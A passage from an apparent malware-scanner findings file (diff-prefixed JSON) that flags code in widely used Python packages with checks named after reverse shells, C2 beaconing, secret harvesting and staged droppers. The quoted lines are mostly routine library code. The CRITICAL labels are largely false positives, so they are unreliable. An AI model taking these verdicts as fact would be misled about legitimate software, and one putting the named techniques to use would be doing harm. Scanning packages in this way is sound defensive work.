"3554fe7787227ea6fe47adfe18dcf531e0f01bd7f02ac4d56e2b7587fa2b6c96" - }, - { - "package": "botocore", - "file": "botocore/utils.py", - "check": "Reads credential paths AND makes network calls", - "severity": "CRITICAL", - "evidence": "Creds: L3551: CACHE_DIR = os.path.expanduser(os.path.join('~', '.aws', 'boto', 'cache')) | L3721: return os.path.expanduser(os.path.join('~', '.aws', 'login', 'cache'))\nNetwork: L32: from urllib.request import getproxies, proxy_bypass", - "evidence_hash": "2d691bc373ab872aad23c744104596ba6d0d9f3b35aa101c7edbff4429b174c1" - }, - { - "package": "botocore", - "file": "botocore/vendored/six.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L87: __import__(name)\nExec: L735: exec(\"\"\"exec _code_ in _globs_, _locs_\"\"\")", - "evidence_hash": "3cb7d8247dea7dd3d7b21ededc0181c58c50099aeb73c9138a286f3d1ad92d4f" - }, - { - "package": "cffi", - "file": "cffi/_cffi_gen_src.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L52: compiled = compile(source=pysrc, filename=filename, mode='exec')\nExec: L53: exec(compiled, globs, globs)", - "evidence_hash": "c429e4c977a61db6b7c717b5a552fce74eda622213e49eb5467a3782fd746fb9" - }, - { - "package": "cffi", - "file": "cffi/setuptools_ext.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L25: code = compile(src, filename, 'exec')\nExec: L26: exec(code, glob, glob)", - "evidence_hash": "5330e70262ff7e9d9082d755474f656f7090878caf9704f9f5f9288bd7a33402" - }, - { - "package": "click", - "file": "click/testing.py", - "check": "Reverse shell / bind shell pattern", - "severity": "CRITICAL", - "evidence": "L103: os.dup2(self._tmpfile.fileno(), self._targetfd) | L107: os.dup2(self.saved_fd, self._targetfd)", - "evidence_hash": "7cfc260cd91d7ee7e65aaf0551f115d03593422b6dfcb3761fd74d18affec2e1" - }, - { - "package": "datasets", - "file": "datasets/utils/file_utils.py", - "check": "C2 polling/beaconing loop detected", - "severity": "CRITICAL", - "evidence": "L443: while True: sha256:feba37d77721aa658e1786d2e4b67de76fefe1ceeb3ce8529d361c5241778eea", - "evidence_hash": "2e458563dec752d0a9896c9685d368d9906867110db315ab751e3eb6ec63f51c" - }, - { - "package": "datasets", - "file": "datasets/utils/file_utils.py", - "check": "C2 polling/beaconing loop detected", - "severity": "CRITICAL", - "evidence": "L441: while True: sha256:ce92e38c17c524815e1f9055be77235028c1e68e41b45cbfe9c8f1b867a205da", - "evidence_hash": "cb36281d28a975d101121c0702ee05eeee470879520d39a8be552129333f514d" - }, - { - "package": "ddgs", - "file": "ddgs/dht/libp2p_client.py", - "check": "DNS exfiltration / tunneling patterns", - "severity": "HIGH", - "evidence": "DNS: L15: import dns.resolver | L63: logger.debug(\"dnspython not installed, skipping dnsaddr resolution\") | L67: answers = dns.resolver.resolve(f\"_dnsaddr.{dnsaddr_domain}\", \"TXT\")\nNetwork: L195: sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) | L205: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)", - "evidence_hash": "bcbeea714c99540a7f008c11e4516da50e66cfb8e6917aec11f2904cc66072a4" - }, - { - "package": "diffusers", - "file": "diffusers/utils/import_utils.py", - "check": "Downloads and executes remote code", - "severity": "CRITICAL", - "evidence": "L1015: return importlib.import_module(\".\" + module_name, self.__name__)", - "evidence_hash": "e584ecfdb097d9482bb19cd3992813bc1a119cfd4c40af14748bafe22900d91e" - }, - { - "package": "diffusers", - "file": "diffusers/utils/testing_utils.py", - "check": "Harvests environment variables/secrets AND makes network calls", - "severity": "CRITICAL", - "evidence": "Env: L233: value = os.environ[key]\nNetwork: L688: response = requests.get(arry, timeout=DIFFUSERS_REQUEST_TIMEOUT) | L709: response = requests.get(url, timeout=DIFFUSERS_REQUEST_TIMEOUT) | L728: image = PIL.Image.open(requests.get(image, stream=True, timeout=DIFFUSERS_REQUEST_TIMEOUT).raw)", - "evidence_hash": "671190a6106c6ee9674e5e5942dc0940e1d2f8c78d5faf674413c2345b783fd9" - }, - { - "package": "dill", - "file": "dill/_dill.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L595: return marshal.loads(string) | L1011: module = __import__(names[0]) | L1061: submodule = getattr(__import__(module, None, None, [obj]), obj) | L1064: return __import__(import_name, None, None, [obj]) | L1066: return __import__(import_name)\nExec: L979: return eval(repr_str) | L1037: return eval(attr+'.__dict__[\"'+name+'\"]')", - "evidence_hash": "c937f17aaabd127849be75cf690869da02ac403403cc11801262f704358e8129" - }, - { - "package": "dill", - "file": "dill/_objects.py", - "check": "Creates archive with sensitive data AND makes network calls", - "severity": "CRITICAL", - "evidence": "Archive: L317: a['TarFileType'] = tarfile.open(fileobj=_fileW,mode='w')\nNetwork: L330: x['SocketType'] = _socket = socket.socket()", - "evidence_hash": "894862e547cf91b90cd6e4b495db3fb05b7490ef0d63de7e795a7e3d9447d850" - }, - { - "package": "dill", - "file": "dill/source.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L394: lines, lnum = [\"%s = __import__('%s', fromlist=['%s']).%s\\n\" % (name,module,name,name)], 0\nExec: L60: _ = eval(\"lambda %s : %s\" % (lhs,rhs), globals(),locals()) | L82: _f = eval(\"lambda %s : %s\" % (_lhs,_rhs), globals(),locals()) | L395: obj = eval(lines[0].lstrip(name + ' = ')) | L541: exec(getimportable(f, alias='_'), __globals__, __locals__) | L711: try: exec(_str)", - "evidence_hash": "d274b9546f7fb5ac7177f84d98dfc0f877fdc7c4e76e4633fc202e2afd71772c" - }, - { - "package": "dnspython", - "file": "dns/query.py", - "check": "DNS exfiltration / tunneling patterns", - "severity": "HIGH", - "evidence": "DNS: L142: import dns.resolver | L144: resolver = dns.resolver.Resolver() | L414: resolver: Optional[\"dns.resolver.Resolver\"], | L415: ) -> \"dns.resolver.Resolver\": | L421: import dns.resolver | L423: resolver = dns.resolver.Resolver() | L457: resolver: Optional[\"dns.resolver.Resolver\"] = None,\nNetwork: L175: ) -> socket.socket: | L176: return socket.socket(af, kind, proto) | L182: [socket.AddressFamily | int, socket.SocketKind, int], socket.socket | L328: ) -> socket.socket: | L566: if session and not isinstance(session, httpx.Client): | L567: raise ValueError(\"session parameter must be an httpx.Client\") | L598: cm = httpx.Client(\nL599: http1=h1, http2=h2, verify=verify, transport=transport\nL600: ) | L1545: s: socket.socket | ssl.SSLSocket, | L1556: is_udp = isinstance(s, socket.socket) and s.type == socket.SOCK_DGRAM", - "evidence_hash": "3e75075b489bf6a8bd1cc110c41194ab85f2a9bb2eecc862c6f89cbf29264971" - }, - { - "package": "fastapi", - "file": "fastapi/routing.py", - "check": "C2 polling/beaconing loop detected", - "severity": "CRITICAL", - "evidence": "L586: while True: sha256:251135b5ebfdd1248916449f32262575e003ef64382501c65b7e4061d67bda45", - "evidence_hash": "365aef4449c8089753d9398417cd76ab762cef547d75db70d87bca9c0b550ab5" - }, - { - "package": "fastapi", - "file": "fastapi/routing.py", - "check": "C2 polling/beaconing loop detected", - "severity": "CRITICAL", - "evidence": "L586: while True: sha256:bef9ea429314fad39e063895a37dc5cfe9b04561f3d1acbb3c99abb4e92e6cfe", - "evidence_hash": "b15773e1bc249713156a349278ea60f7c0e3dd7d537affe929ab51089e1942bb" - }, - { - "package": "fastmcp-slim", - "file": "fastmcp/cli/apps_dev.py", - "check": "Creates archive with sensitive data AND makes network calls", - "severity": "CRITICAL", - "evidence": "Archive: L1340: with tarfile.open(fileobj=io.BytesIO(data), mode=\"r:gz\") as tar:\nNetwork: L1291: with httpx.Client(timeout=30.0) as client: | L1305: with httpx.Client(timeout=30.0) as client: | L1335: with httpx.Client(timeout=30.0) as client: | L1537: client = httpx.AsyncClient(\nL1538: timeout=httpx.Timeout(60.0, read=None), trust_env=False\nL1539: ) | L1701: async with httpx.AsyncClient(trust_env=False) as client: | L1769: with socket.socket(family, socket.SOCK_STREAM) as s:", - "evidence_hash": "73a7a72013e9f800627ea07e6dbc3beeb8c905a6a5480c8fd896f0063173d25c" - }, - { - "package": "fastmcp-slim", - "file": "fastmcp/cli/apps_dev.py", - "check": "Enumerates filesystem AND makes network calls", - "severity": "CRITICAL", - "evidence": "FS: L624: history.replaceState(null, \"\", url); sha256:fd8dbfa8af4dea2ce43f4d441f3f81239de341b76a2eb0a33c446f6757ce5f43\nNetwork: L1291: with httpx.Client(timeout=30.0) as client: | L1305: with httpx.Client(timeout=30.0) as client: | L1335: with httpx.Client(timeout=30.0) as client: | L1537: client = httpx.AsyncClient(\nL1538: timeout=httpx.Timeout(60.0, read=None), trust_env=False\nL1539: ) | L1701: async with httpx.AsyncClient(trust_env=False) as client: | L1769: with socket.socket(family, socket.SOCK_STREAM) as s:", - "evidence_hash": "6ada4a9111213bdee5ea24c70a72ec4acdc8ffe0de4a01fd9835bc261ccab8f8" - }, - { - "package": "fastmcp-slim", - "file": "fastmcp/cli/apps_dev.py", - "check": "Enumerates filesystem AND makes network calls", - "severity": "CRITICAL", - "evidence": "FS: L637: history.replaceState(null, \"\", url); sha256:17068ba5bfed62c3a3007ec8bf3e0ea41ef6529b9e6112064d9afb3be9231436\nNetwork: L1304: with httpx.Client(timeout=30.0) as client: | L1318: with httpx.Client(timeout=30.0) as client: | L1348: with httpx.Client(timeout=30.0) as client: | L1549: client = httpx.AsyncClient(\nL1550: timeout=httpx.Timeout(60.0, read=None), trust_env=False\nL1551: ) | L1713: async with httpx.AsyncClient(trust_env=False) as client: | L1781: with socket.socket(family, socket.SOCK_STREAM) as s:", - "evidence_hash": "e5325edfada6499540e6f0c24a0868979d275522e2b6a180aa9b5dd3280681b4" - }, - { - "package": "fastmcp-slim", - "file": "fastmcp/server/auth/providers/jwt.py", - "check": "Embedded cryptographic key + network calls (encrypted exfil pattern)", - "severity": "HIGH", - "evidence": "Key: L187: \"-----BEGIN PUBLIC KEY-----\", | L188: \"-----BEGIN RSA PUBLIC KEY-----\",\nNetwork: L225: http_client: httpx.AsyncClient | None = None, | L411: else httpx.AsyncClient(timeout=httpx.Timeout(10.0))", - "evidence_hash": "2d7c7c7bd15d1b8ad44ab52c361940a03ac49a451938d1fac015ebcc667e99d8" - }, - { - "package": "fonttools", - "file": "fontTools/diff/__init__.py", - "check": "Reverse shell / bind shell pattern", - "severity": "CRITICAL", - "evidence": "L202: os.dup2(devnull, sys.stdout.fileno())", - "evidence_hash": "6ff12ba150358aa0b2756d60df29a7ac9c08e60d0a1ad42157fd30af6e7d50ee" - }, - { - "package": "fonttools", - "file": "fontTools/ttLib/ttFont.py", - "check": "Downloads and executes remote code", - "severity": "CRITICAL", - "evidence": "L1420: __import__(\"fontTools.ttLib.tables.\" + pyTag)", - "evidence_hash": "512ecbb7539ddfd5296f8ea2d132ef4000a71033fd444d8a7539f6936dc9ad01" - }, - { - "package": "gguf", - "file": "gguf/utility.py", - "check": "Harvests environment variables/secrets AND makes network calls", - "severity": "CRITICAL", - "evidence": "Env: L268: if os.environ.get(\"HF_TOKEN\"): | L269: headers[\"Authorization\"] = f\"Bearer {os.environ['HF_TOKEN']}\"\nNetwork: L236: response = requests.get(url, allow_redirects=True, headers=headers) | L258: response = requests.head(url, allow_redirects=True, headers=headers)", - "evidence_hash": "231235fe72f6c47331494b67dd0cba2bdb7b75b901f4fe59b434ce9a1ffbd50e" - }, - { - "package": "httpx", - "file": "httpx/_models.py", - "check": "Enumerates filesystem AND makes network calls", - "severity": "CRITICAL", - "evidence": "FS: L528: history: list[Response] | None = None, sha256:f56272dccd651b2644aa41ef6e688e211462427aad07fef5150240ec7347446e\nNetwork: L9: import urllib.request | L1243: class _CookieCompatRequest(urllib.request.Request):", - "evidence_hash": "b32f79e58c938680d89efa74113eeba76c9fc5aedf5de18086f93bef274c4bda" - }, - { - "package": "huggingface-hub", - "file": "huggingface_hub/_sandbox.py", - "check": "C2 polling/beaconing loop detected", - "severity": "CRITICAL", - "evidence": "L1179: while True: sha256:33ceddf9e42aae207e891e97808c518e92a0b27ab60e4326256717bfb25a3a38", - "evidence_hash": "802fd41d8bb17bf425e99d128c0351c820103a5efb74690a4086e542a71437b8" - }, - { - "package": "huggingface-hub", - "file": "huggingface_hub/_sandbox.py", - "check": "Writes to /tmp and executes (staged dropper)", - "severity": "CRITICAL", - "evidence": "L83: d=/tmp/.sbx-server\nL84: if command -v wget >/dev/null 2>&1; then wget -q --header \"Authorization: Bearer $SBX_DL_TOKEN\" -O \"$d\" \"$SBX_SERVER_URL\"\nL85: elif command -v curl >/dev/null 2>&1; then curl -fsSL -H \"Authorization: Bearer $SBX_DL_TOKEN\" -o \"$d\" \"$SBX_SERVER_URL\"\nL86: else cp \"$SBX_SERVER_MOUNT/sbx-server\" \"$d\"; fi\nL87: chmod +x \"$d\"", - "evidence_hash": "6908a3fe328fa94ee22a119998d6ad07cfa1ba4efa2628acf240f4204fd76e22" - }, - { - "package": "huggingface-hub", - "file": "huggingface_hub/hf_api.py", - "check": "C2 polling/beaconing loop detected", - "severity": "CRITICAL", - "evidence": "L3746: while True: sha256:0c73ed1a7447120b112c063b14e720c6695bc11d00eb6b912cd0f10dc3e29b31", - "evidence_hash": "22f50b930e44146c5350bb99e6e6ebb09feea9bf1e899e407bedc4ffaf06721b" - }, - { - "package": "huggingface-hub", - "file": "huggingface_hub/hf_api.py", - "check": "C2 polling/beaconing loop detected", - "severity": "CRITICAL", - "evidence": "L4613: while True: sha256:f764b6ca3118b23c7c0e670e77178c022a6905f825d7df6e528545fa10aae8f6", - "evidence_hash": "9c85d50c227285fa8dc69512999cbb082258cda4b299c7d0e0f69f5aff7accd4" - }, - { - "package": "huggingface-hub", - "file": "huggingface_hub/hf_api.py", - "check": "C2 polling/beaconing loop detected", - "severity": "CRITICAL", - "evidence": "L4600: while True: sha256:f4a851312a1832efe1b435aa1275a82184e19cc3f47e2cd244373d56c11de272", - "evidence_hash": "dc8fcf44788e32f42d1cc2eb0e2deb55eb2dbf2c3a55909a7d503e450f45e602" - }, - { - "package": "huggingface-hub", - "file": "huggingface_hub/hf_api.py", - "check": "Harvests environment variables/secrets AND makes network calls", - "severity": "CRITICAL", - "evidence": "Env: L10852: o.addheaders = [(\"Authorization\", \"Bearer \" + os.environ[\"UV_SCRIPT_HF_TOKEN\"])]\nNetwork: L6504: resp = requests.post(path, headers=headers, json=body) | L10848: import urllib.request | L10851: o = urllib.request.build_opener()", - "evidence_hash": "7b22edf0aac33ec94f0fd986ace3e63e7ac7554ba4702dbb6fa099646958f5f4" - }, - { - "package": "huggingface-hub", - "file": "huggingface_hub/utils/_http.py", - "check": "C2 polling/beaconing loop detected", - "severity": "CRITICAL", - "evidence": "L443: while True: sha256:0ab4fed32d3af10f361963371f681923481377508a405b5d8770cef75f859168", - "evidence_hash": "1484f6b92f41c427ba8cbc7c4695a94975fea683dfa83aa510b4b0e982be4721" - }, - { - "package": "huggingface-hub", - "file": "huggingface_hub/utils/_http.py", - "check": "C2 polling/beaconing loop detected", - "severity": "CRITICAL", - "evidence": "L298: while True: sha256:6b8e5e569594caf7c4eca6137646dae471a7c3aae7294096cf876f30b5f90306", - "evidence_hash": "c066cc27bce31ee7b6ce07411ee7a7d9ecfbf3aafc8848f6641fabfe522a7703" - }, - { - "package": "huggingface-hub", - "file": "huggingface_hub/utils/_http.py", - "check": "C2 polling/beaconing loop detected", - "severity": "CRITICAL", - "evidence": "L462: while True: sha256:c75d1ee228cf7703a8c28551d649395a1f89f69a3aba69413f5bbcbd10c31958", - "evidence_hash": "d4d5f83fed39b87898cf776d5dad0bf1a6388a932f5fb7997d1070b50e46213e" - }, - { - "package": "ipython", - "file": "IPython/core/debugger.py", - "check": "Anti-analysis/sandbox evasion + suspicious behavior", - "severity": "HIGH", - "evidence": "Anti: L986: trace_function = sys.gettrace() | L987: sys.settrace(None) | L999: sys.settrace(trace_function) | L1399: sys.settrace(None)\nExec: L925: x = eval(arg, {}, {})", - "evidence_hash": "21a9ef910ae943d07528d57778bb6bb2ae4929161166288b136bdd261aa302f4" - }, - { - "package": "ipython", - "file": "IPython/core/debugger_backport.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L79: code = compile(source, \"\", \"exec\")\nExec: L130: exec(source_with_closure, {}, ns) | L138: exec(code, globals, locals_copy, closure=cells) | L200: exec(code, globals, locals)", - "evidence_hash": "e3098776aede69d3ef87f3c9c38d800e79c34f5888dd0154f2adb8d6521c2232" - }, - { - "package": "ipython", - "file": "IPython/core/interactiveshell.py", - "check": "Enumerates filesystem AND makes network calls", - "severity": "CRITICAL", - "evidence": "FS: L78: from IPython.core.history import HistoryManager, HistoryOutput sha256:b644ca2db22c393a1d3302e855a013215446f5aae5eceb7a9fdab4a6d0610b14\nNetwork: L4048: from urllib.request import urlopen | L4049: response = urlopen(target)", - "evidence_hash": "c332f54f5b94641a417958be0a9be7446f25c65dc007dedd3cb5f01d83076cb3" - }, - { - "package": "ipython", - "file": "IPython/core/magics/execution.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L1193: self.shell.compile(ast_setup, \"\", \"exec\") | L1194: self.shell.compile(ast_stmt, \"\", \"exec\") | L1215: code = self.shell.compile(timeit_ast, \"\", \"exec\")\nExec: L1228: exec(code, glob, ns) | L1413: out = eval(code, glob, local_ns) | L1427: exec(code, glob, local_ns) | L1432: out = eval(code_2, glob, local_ns)", - "evidence_hash": "8f07416de7d4d46d328edf44ea0eaffadba4078649234f0790f309cae9eec075" - }, - { - "package": "ipython", - "file": "IPython/core/magics/execution.py", - "check": "Anti-analysis/sandbox evasion + suspicious behavior", - "severity": "HIGH", - "evidence": "Anti: L987: trace = sys.gettrace() | L998: sys.settrace(trace)\nExec: L1228: exec(code, glob, ns) | L1413: out = eval(code, glob, local_ns) | L1427: exec(code, glob, local_ns) | L1432: out = eval(code_2, glob, local_ns)", - "evidence_hash": "c6ac09239c19c830c9aa0ace92b78abf3a1d349cc493e4926ce1d36c8f1072f9" - }, - { - "package": "ipython", - "file": "IPython/terminal/pt_inputhooks/__init__.py", - "check": "Downloads and executes remote code", - "severity": "CRITICAL", - "evidence": "L139: mod = importlib.import_module(\"IPython.terminal.pt_inputhooks.\" + gui_mod)", - "evidence_hash": "3b7a403abee4c5c817718802869e0f75f5bb4f479fba3cbed19f9cf32d926025" - }, - { - "package": "ipython", - "file": "IPython/utils/py3compat.py", - "check": "Downloads and executes remote code", - "severity": "CRITICAL", - "evidence": "L58: exec(compiler(f.read(), fname, \"exec\"), glob, loc)", - "evidence_hash": "f8dfef823b3380dbf7f4bb697998ddecc31b4b26b03e593c0f287c419b329d17" - }, - { - "package": "jaraco-context", - "file": "jaraco/context/__init__.py", - "check": "Creates archive with sensitive data AND makes network calls", - "severity": "CRITICAL", - "evidence": "Archive: L106: with tarfile.open(fileobj=req, mode='r|*') as tf:\nNetwork: L15: import urllib.request | L105: req = urllib.request.urlopen(url)", - "evidence_hash": "4b7365cdf9279e002a67e13669a1596e5036a3d33eb88152236ff30d8093672c" - }, - { - "package": "jinja2", - "file": "jinja2/environment.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L709: return compile(source, filename, \"exec\")\nExec: L1228: exec(code, namespace)", - "evidence_hash": "2f574ff55591a58d9c7fc5ed9b90c28cbb2aa37cf85b17ec45b2e21aeb60dd91" - }, - { - "package": "matplotlib", - "file": "matplotlib/backends/backend_webagg.py", - "check": "Reverse shell / bind shell pattern", - "severity": "CRITICAL", - "evidence": "L56: if not webbrowser.open(url): sha256:c92ecd0cb3aa00166f26aa2017eb2201cc6050d58de2654ada01a1d392a5c97c", - "evidence_hash": "bf56dfffad9c8638feab6a8bd7d74da6abc78ff406663e97ff5ac18f30c2f583" - }, - { - "package": "matplotlib", - "file": "matplotlib/sphinxext/plot_directive.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L326: compile(text, '', 'exec')\nExec: L543: exec('import numpy as np\\n'\nL544: 'from matplotlib import pyplot as plt\\n', ns) | L546: exec(str(setup.config.plot_pre_code), ns) | L552: exec(code, ns) | L554: exec(function_name + \"()\", ns)", - "evidence_hash": "d00abccba1b72d92a8a87f2f31d59036f51e0a42ce94adb063727114ffed35ff" - }, - { - "package": "multiprocess", - "file": "multiprocess/forkserver.py", - "check": "Reverse shell / bind shell pattern", - "severity": "CRITICAL", - "evidence": "L5: import socket sha256:915068303029fa5806199f256fb74504c65f253f9aee8ea23d8e384bb772b1c7", - "evidence_hash": "30be130f165f418dfd37b144c5ae333de184b95f828ab8bd4010a67b84a5f814" - }, - { - "package": "multiprocess", - "file": "multiprocess/forkserver.py", - "check": "Reverse shell / bind shell pattern", - "severity": "CRITICAL", - "evidence": "L6: import socket sha256:6c707119169286c9a798e2c8d13a48614e481d8a503950916fd4ffb4c94d3182", - "evidence_hash": "50fec0f0522a8e4e636bf348b752002d7935d8455af31fb78c6f11e2eba19f6d" - }, - { - "package": "multiprocess", - "file": "multiprocess/tests/__init__.py", - "check": "Anti-analysis/sandbox evasion + suspicious behavior", - "severity": "HIGH", - "evidence": "Anti: L440: time.sleep(300)\nNetwork: L3651: client = socket.socket() | L4933: s = socket.socket() | L5205: return socket.socket().detach() | L5209: fd = socket.socket().detach() | L5220: socket.socket(socket.AF_INET, socket.SOCK_STREAM, fileno=fd).close()\nSubprocess: L4394: with subprocess.Popen([sys.executable, '-E', '-c', cmd],\nL4395: stdout=subprocess.PIPE,\nL4396: stderr=subprocess.PIPE) as p: | L5107: data = subprocess.check_output(\nL5108: [sys.executable, '-E', '-S', '-O', '-c', prog]) | L5504: p = subprocess.Popen([sys.executable,\nL5505: '-E', '-c', cmd.format(w=w, rtype=rtype)],\nL5506: pass_fds=[w],\nL5507: stderr=subprocess.PIPE)", - "evidence_hash": "1c12c77946a84106759fb683e1fe21f97ecb39493c584ef2c7945eaa9ec2d095" - }, - { - "package": "multiprocess", - "file": "multiprocess/tests/__init__.py", - "check": "Reverse shell / bind shell pattern", - "severity": "CRITICAL", - "evidence": "L3569: os.dup2(conn.fileno(), i) | L3601: \"test needs os.dup2()\") | L3619: os.dup2(fd, newfd) | L20: import socket sha256:c824dc0f409f242420c3fbb324790c53cb3078d2c8b07ee8f2a05694b01c2946", - "evidence_hash": "3878a2b430c175dbc5877a95195bfe52f9588ff73fb74e2261ed5e33087915ad" - }, - { - "package": "multiprocess", - "file": "multiprocess/tests/__init__.py", - "check": "Reverse shell / bind shell pattern", - "severity": "CRITICAL", - "evidence": "L3355: os.dup2(conn.fileno(), i) | L3387: \"test needs os.dup2()\") | L3405: os.dup2(fd, newfd) | L19: import socket sha256:26a745abdc7e89da28ab943394234d8ccb415e805477c3cc1f7d4766341a4c4c", - "evidence_hash": "a6b9bb85e9bb6682ab0dea4f95fd9266e8802f118c76d86dd87f7ab5864872cf" - }, - { - "package": "multiprocess", - "file": "multiprocess/tests/__init__.py", - "check": "Reverse shell / bind shell pattern", - "severity": "CRITICAL", - "evidence": "L3521: os.dup2(conn.fileno(), i) | L3553: \"test needs os.dup2()\") | L3571: os.dup2(fd, newfd) | L20: import socket sha256:07d2933301c0dbeeb6e42381687827d8dd7cfd7471986c559ca64283d5ae6e24", - "evidence_hash": "db1f4ca69865ec3911d7450fe11d212b817139deda21cd7a4ee32d547a8dc452" - }, - { - "package": "networkx", - "file": "networkx/utils/decorators.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L911: compiled = compile(code, filename, \"exec\")\nExec: L912: exec(compiled, globl, locl)", - "evidence_hash": "18fe0d0874bd01eaace07a3f02218256281b8e5fe5406a9e808cf915882aac92" - }, - { - "package": "numba", - "file": "numba/np/ufunc/array_exprs.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L382: code_obj = compile(ast_module, expr_filename, 'exec')\nExec: L383: exec(code_obj, namespace)", - "evidence_hash": "d52643b024852adb213bde05fcb09240a8dacdcd98ca127ba4f261e14aa88beb" - }, - { - "package": "numba", - "file": "numba/pycc/decorators.py", - "check": "Downloads and executes remote code", - "severity": "CRITICAL", - "evidence": "L44: exec(compile(fin.read(), ifile, 'exec'))", - "evidence_hash": "9bfde86a0af7c9c81acd5334ebab3ba97c33d22c501295114fde0087b0be3f05" - }, - { - "package": "numba", - "file": "numba/tests/support.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L879: __import__(modname)\nExec: L813: eval(co, globs, ns)", - "evidence_hash": "649a7d750f903478243b0bcb9e8020521b505fc7fedc5b696ec01f4efc096109" - }, - { - "package": "numba", - "file": "numba/tests/support.py", - "check": "Reverse shell / bind shell pattern", - "severity": "CRITICAL", - "evidence": "L1021: os.dup2(w, fd) | L1026: os.dup2(save, fd)", - "evidence_hash": "fea7aa03d48bf0f4386302fa444984c4f5dfc772cfec3f1df199fd33a52eec10" - }, - { - "package": "numba", - "file": "numba/tests/test_codegen.py", - "check": "base64 decode + subprocess execution (staged payload)", - "severity": "CRITICAL", - "evidence": "Base64: L127: state = pickle.loads(base64.b64decode(sys.argv[1]))\nSubprocess: L130: subprocess.check_call([sys.executable, '-c', code, arg.decode()])", - "evidence_hash": "e2e6436a0849b687046a00576836b0f5f048ecf6118f9d8e6d5558fefd0aa488" - }, - { - "package": "numba", - "file": "numba/tests/test_firstlinefinder.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L95: code = compile(source, filename, \"exec\")\nExec: L77: exec(source, globalns) | L98: exec(code, globalns)", - "evidence_hash": "5900bf71c1d91dcb87ee1fab1abe52dcec9145f907c5f0deac5dfa1b77a6c788" - }, - { - "package": "numba", - "file": "numba/tests/test_funcdesc.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L24: compiled = compile(code, filename, 'exec')\nExec: L25: exec(compiled, objs)", - "evidence_hash": "e33d91ade3db9e77fab5e26d5f1cba96301fdd7b9291c1d526201d3e58f8b495" - }, - { - "package": "numba", - "file": "numba/tests/test_import.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L33: __import__(mod)\nExec: L43: modlist = set(eval(out.strip())) | L97: modlist = set(eval(out.strip()))", - "evidence_hash": "3e9c4c8fa91ebc95b525d14c6bcc84aa53b20fb47fa8e40014f6902cbae4489a" - }, - { - "package": "numba", - "file": "numba/tests/test_np_functions.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L7106: exec(compile(funcstr, '', 'exec'), globals(), dct)\nExec: L7106: exec(compile(funcstr, '', 'exec'), globals(), dct)", - "evidence_hash": "9e81164131d16056fb56ad3cd11b8d129d1ff4f5855031e8b501e0335d5c14ed" - }, - { - "package": "numpy", - "file": "numpy/f2py/capi_maps.py", - "check": "Downloads and executes remote code", - "severity": "CRITICAL", - "evidence": "L159: d = eval(f.read().lower(), {}, {})", - "evidence_hash": "70e3d1f82997b292e97bd3f8c3804181f575a7dce74cb2fa8e9fb1f0a119ab2f" - }, - { - "package": "numpy", - "file": "numpy/lib/tests/test__datasource.py", - "check": "Enumerates filesystem AND makes network calls", - "severity": "CRITICAL", - "evidence": "FS: L45: malicious_files = ['/etc/shadow', '../../shadow',\nL46: '..\\\\system.dat', 'c:\\\\windows\\\\system.dat']\nNetwork: L2: import urllib.request as urllib_request", - "evidence_hash": "9aa30dfee01a520f20ab77de468feb0558bd9d95c6dd509146ffc48c8d4dc469" - }, - { - "package": "numpy", - "file": "numpy/testing/_private/utils.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L1627: code = compile(code_str, f'Test name: {label} ', 'exec')\nExec: L1346: exec(astr, dict) | L1632: exec(code, globs, locs)", - "evidence_hash": "0f709178d59737ab994e7c63800a434bdb56e9c4c72f6dc5d3ebf3bf8eb4245c" - }, - { - "package": "numpy", - "file": "numpy/testing/_private/utils.py", - "check": "Anti-analysis/sandbox evasion + suspicious behavior", - "severity": "HIGH", - "evidence": "Anti: L2777: original_trace = sys.gettrace() | L2779: sys.settrace(None) | L2782: sys.settrace(original_trace)\nSubprocess: L1478: output = subprocess.run(cmd, capture_output=True, text=True)\nExec: L1346: exec(astr, dict) | L1632: exec(code, globs, locs)", - "evidence_hash": "27468a6828101c6c026ae25aca8aa90ef485fd62b2c8f0967479edae9c965844" - }, - { - "package": "numpy", - "file": "numpy/testing/_private/utils.py", - "check": "Anti-analysis/sandbox evasion + suspicious behavior", - "severity": "HIGH", - "evidence": "Anti: L2788: original_trace = sys.gettrace() | L2790: sys.settrace(None) | L2793: sys.settrace(original_trace)\nSubprocess: L1486: output = subprocess.run(cmd, capture_output=True, text=True) | L2889: res = subprocess.run(cmd, cwd=cwd, capture_output=True, text=True,\nL2890: errors=\"replace\", **kwargs)\nExec: L1352: exec(astr, dict) | L1640: exec(code, globs, locs)", - "evidence_hash": "9c6961817e5b1751e572dfe0858286703bb835870ecdfd6a7a9fdd8372a5dd2b" - }, - { - "package": "numpy", - "file": "numpy/tests/test_public_api.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + 